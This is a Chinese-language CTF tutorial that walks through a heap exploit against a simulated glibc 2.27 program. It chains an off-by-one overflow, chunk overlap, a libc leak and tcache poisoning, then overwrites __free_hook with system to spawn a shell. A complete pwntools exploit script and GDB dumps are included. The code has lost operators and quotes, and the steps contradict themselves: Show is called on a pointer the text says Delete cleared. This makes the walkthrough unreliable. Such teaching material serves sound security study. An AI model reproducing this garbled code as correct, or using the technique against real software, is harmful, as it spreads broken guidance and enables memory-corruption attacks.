写在前面欢迎来到 Week10 的收官之战在前三篇中我们分别学习了 Off-by-one 单字节溢出、Unlink 经典利用以及 Tcache 溢出扩展。今天我们将把这些技术融为一体模拟一道典型的现代 CTF PWN 题。你将看到一个微小的 NULL 字节溢出如何经过精妙的堆布局设计最终通过 Tcache 劫持实现任意代码执行。这不仅是一篇教程更是一次从漏洞发现到 EXP 构造的完整实战演练。 目录题目背景与漏洞分析利用思路与堆布局设计详细利用步骤与 EXP 构造GDB 动态调试验证Week 10 总结与进阶展望1. 题目背景与漏洞分析1.1 题目模拟heap_dance假设有一道名为heap_dance的题目glibc 版本为 2.27拥有 Tcache但无 key 校验。程序提供了标准的菜单Add,Delete,Show,Edit。核心代码逻辑// 1. Add 函数分配指定大小的堆块并读入数据 void Add(int size, char *content) { int idx get_idx(); heap_ptrs[idx] malloc(size); sizes[idx] size; puts(content: ); read(0, heap_ptrs[idx], size); } // 2. Edit 函数存在 Off-by-one 漏洞 void Edit(int idx, char *content) { char *ptr heap_ptrs[idx]; int size sizes[idx]; // 漏洞点允许写入 size 1 个字节 read(0, ptr, size 1); } // 3. Delete 和 Show 函数正常释放和打印且 Delete 会清空指针1.2 漏点定位漏洞极其明显Edit函数中read的长度参数为size 1导致我们可以向当前 chunk 的 user_data 区域写入超出一个字节的数据即发生Off-by-one 溢出。由于通常的堆块大小按 0x10 对齐这一个字节的溢出将精准覆盖下一个 chunk 的size字段的最低字节。2. 利用思路与堆布局设计在 glibc 2.27 环境下我们的核心目标是构造堆重叠进而实现Tcache Poisoning。由于Delete函数会清空指针我们无法直接使用 UAF必须依赖堆重叠来篡改 Tcache 链表。2.1 核心思路流程图1. 填充 Tcache[0xa0]分配 7 个 0x98 的 chunk 并释放2. 布置关键堆块A(0x18), B(0x18), C(0x98), D(0x18)3. 触发 Off-by-oneEdit A, 溢出覆盖 B 的 size 为 0xa14. 释放 BB 进入 Unsorted Bin (因为 Tcache 已满)5. 重新分配 0x98取回 B此时 B 的 user_data 覆盖了 C 的头部6. 泄露 Libc释放 C 进入 Unsorted Bin, Show(C) 泄露 main_arena 地址7. Tcache 投毒清空 Tcache, 释放 C 进 Tcache, 利用 B 覆盖 C 的 next 指针8. Getshell分配到 __free_hook, 写入 system, 释放 /bin/sh2.2 堆布局数学模型我们需要确保当 B 被扩展为 0xa0 大小时它的 user_data 能够覆盖到 C 的fd指针在 Tcache 中即next指针。A分配 0x18 - chunk 大小 0x20B分配 0x18 - chunk 大小 0x20C分配 0x98 - chunk 大小 0xa0内存布局[A header(0x10) | A data(0x10)] [B header(0x10) | B data(0x10)] [C header(0x10) | C data(0x90)]如果我们将 B 的 size 从0x21修改为0xa1B 的大小变为 0xa0。当 B 被释放并重新分配回来时malloc(0x98)我们获得了 0x90 字节的写入权限。B 的 user_data 起始地址为B_addr 0x10。C 的 user_data 起始地址即fd/next指针为C_addr 0x10 (B_addr 0x20) 0x10 B_addr 0x30。相对 B 的 user_data 偏移为0x30 - 0x10 0x20。结论我们在写入 B 的数据时只需在前 0x20 字节填充任意数据接下来的 8 字节就能精准覆盖 C 的next指针3. 详细利用步骤与 EXP 构造3.1 步骤一填充 Tcache 与初始化布局from pwn import * p process(./heap_dance) libc ELF(./libc-2.27.so) def add(size, contentb\n): p.sendlineafter(bchoice: , b1) p.sendlineafter(bsize: , str(size).encode()) p.sendafter(bcontent: , content) def delete(idx): p.sendlineafter(bchoice: , b2) p.sendlineafter(bidx: , str(idx).encode()) def show(idx): p.sendlineafter(bchoice: , b3) p.sendlineafter(bidx: , str(idx).encode()) def edit(idx, content): p.sendlineafter(bchoice: , b4) p.sendlineafter(bidx: , str(idx).encode()) p.sendafter(bcontent: , content) # 1. 填充 Tcache[0xa0] for i in range(7): add(0x98, bT * 0x98) # idx 0-6 for i in range(7): delete(i) # 释放进 Tcache # 2. 布局关键堆块 add(0x18, bA * 0x18) # idx 0: Chunk A add(0x18, bB * 0x18) # idx 1: Chunk B add(0x98, bC * 0x98) # idx 2: Chunk C add(0x18, bD * 0x18) # idx 3: Chunk D (防顶合并)3.2 步骤二触发 Off-by-one 与堆重叠# 3. 触发 Off-by-one将 B 的 size 从 0x21 改为 0xa1 edit(0, bA * 0x18 b\xa1) # 4. 释放 B由于 Tcache[0xa0] 已满B 进入 Unsorted Bin delete(1) # 5. 重新申请 0x98 大小的堆块取回 B # 此时我们拥有了覆盖 C 头部的能力 add(0x98, bB * 0x98) # idx 1: Chunk B (已扩展)3.3 步骤三泄露 Libc 地址# 6. 释放 C它将进入 Unsorted Bin (Tcache 已满) # C 的 fd/bk 将指向 main_arena 96 delete(2) # 7. 查看 C泄露 libc 地址 show(2) p.recvuntil(bcontent: ) leaked_addr u64(p.recv(6).ljust(8, b\x00)) libc_base leaked_addr - (libc.symbols[__malloc_hook] 0x10 96) log.info(fLibc base: {hex(libc_base)}) # 计算关键地址 free_hook libc_base libc.symbols[__free_hook] system libc_base libc.symbols[system]3.4 步骤四Tcache 投毒与 Getshell# 8. 重新申请回 C以便后续操作 add(0x98, bC * 0x98) # idx 2: 取回 C # 9. 清空 Tcache[0xa0]为释放 C 进 Tcache 做准备 for i in range(7): add(0x98, bX * 0x98) # idx 4-10 取出 Tcache 中的块 # 10. 释放 C 进入 Tcache delete(2) # 11. 利用 B 的重叠特性覆盖 C 的 next 指针为 __free_hook # 偏移计算B 的 user_data 开始0x20 字节后是 C 的 next 指针 payload bB * 0x20 p64(free_hook) edit(1, payload) # 12. 连续分配两次 0x98第二次分配到 __free_hook add(0x98, b/bin/sh\x00) # idx 2: 取回原 C add(0x98, p64(system)) # idx 4: 取回 __free_hook覆写为 system # 13. 触发 free(/bin/sh) - system(/bin/sh) delete(2) # 释放 idx 2其内容为 /bin/sh p.interactive()4. GDB 动态调试验证让我们用 GDB 见证这一神奇的内存覆盖过程。1. 触发 Off-by-one 后的堆状态pwndbg vis 0x555555559290 0x0000000000000000 0x0000000000000021 --- A 0x5555555592a0 0x4141414141414141 0x4141414141414141 0x5555555592b0 0x4141414141414141 0x00000000000000a1 --- B (size 被改为 0xa1!) 0x5555555592c0 0x4242424242424242 0x4242424242424242 0x5555555592d0 0x4242424242424242 0x00000000000000a1 --- C (原始 size 也是 0xa1) 0x5555555592e0 0x4343434343434343 0x43434343434343432. 取回 B 后向 B 写入覆盖 C 的 next 指针pwndbg vis 0x5555555592b0 0x0000000000000000 0x00000000000000a1 --- B (已分配) 0x5555555592c0 0x4242424242424242 0x4242424242424242 0x5555555592d0 0x4242424242424242 0x4242424242424242 --- 覆盖到了 C 的头部 0x5555555592e0 0x0000000000000000 0x00007f...free_hook --- C 的 next 被篡改!3. 分配验证第一次malloc(0x98)返回C的地址第二次malloc(0x98)将返回__free_hook的地址5. Week 10 总结与进阶展望5.1 核心知识点总结Off-by-one 是钥匙通过仅一个字节的溢出修改相邻 chunk 的size字段是打破堆块独立性的经典手段。堆重叠是桥梁扩展 chunk 大小后重新分配使得一个 chunk 的可写区域覆盖另一个 chunk 的元数据从而在无 UAF 的情况下实现任意地址写。Tcache 是目标在 glibc 2.27 等版本中Tcache 缺乏校验通过堆重叠篡改next指针即可轻松实现 Tcache Poisoning。整体利用链Off-by-one - 扩展 Size - 释放进 Unsorted Bin - 重分配造成重叠 - 泄露 Libc - 篡改 Tcache next - 劫持 __free_hook - Getshell。5.2 防御与缓解安全编码严格检查边界条件警惕strncpy等函数的不截断特性。Glibc 缓解高版本 glibc 引入了 Tcache Key 机制防止 Double Free以及对 Unlink 的严格检查。但堆重叠依然难以彻底防御。现代防护AddressSanitizer (ASan) 能够在编译期和运行时精准捕捉单字节溢出。5.3 进阶展望本周我们深入剖析了基于ptmalloc2的堆利用艺术。从下周Week 11开始我们将把目光转向另一种强大的漏洞类型——格式化字符串漏洞。我们将探讨它如何与堆漏洞结合以及在现代编译器防护下的绕过技术。最终结论在堆利用的世界里没有绝对的边界。一个字节的越界经过攻击者精心的数学布局与机制利用就能引发一场内存管理的雪崩最终颠覆整个进程的控制权。理解并掌握这套利用链是每一位二进制安全研究者的必修课。